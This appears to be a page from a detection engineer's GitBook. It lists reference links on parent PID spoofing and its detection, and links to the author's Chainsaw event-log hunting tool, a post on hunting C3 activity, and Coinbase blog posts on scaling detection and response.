![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MZoPt12yaleZSKkZvys%2F-M_H-Om2Hlm8cnQ8ThBR%2Fppidspoof.gif?alt=media\&token=22baa754-280f-485b-8517-1a7de1f89b5f)

## References

{% embed url="<https://github.com/microsoft/krabsetw>" %}

{% embed url="<https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/>" %}

{% embed url="<https://blog.f-secure.com/detecting-parent-pid-spoofing/>" %}

{% embed url="<https://scorpiosoftware.net/2021/01/10/parent-process-vs-creator-process/>" %}


# Chainsaw Tool - Search and Hunt Through Event Logs

A few months ago I wrote a tool in my day job that helps analysts to search and hunt through Windows Event Logs. The relevant blog post and tool links are below.

#### Original Blog Post

{% embed url="<https://labs.f-secure.com/tools/chainsaw>" %}

#### Github Page

{% embed url="<https://github.com/countercept/chainsaw>" %}


# Hunting for C3 Activity

{% embed url="<https://labs.withsecure.com/publications/hunting-for-c3>" %}


# Scaling Detection and Response Operations

A couple of blog posts that I wrote in my day job:

{% embed url="<https://www.coinbase.com/blog/scaling-detection-and-response-operations-at-coinbase>" %}

{% embed url="<https://www.coinbase.com/blog/scaling-detection-and-response-operations-at-coinbase-pt2>" %}

{% embed url="<https://www.coinbase.com/blog/scaling-detection-and-response-operations-at-coinbase-pt3>" %}


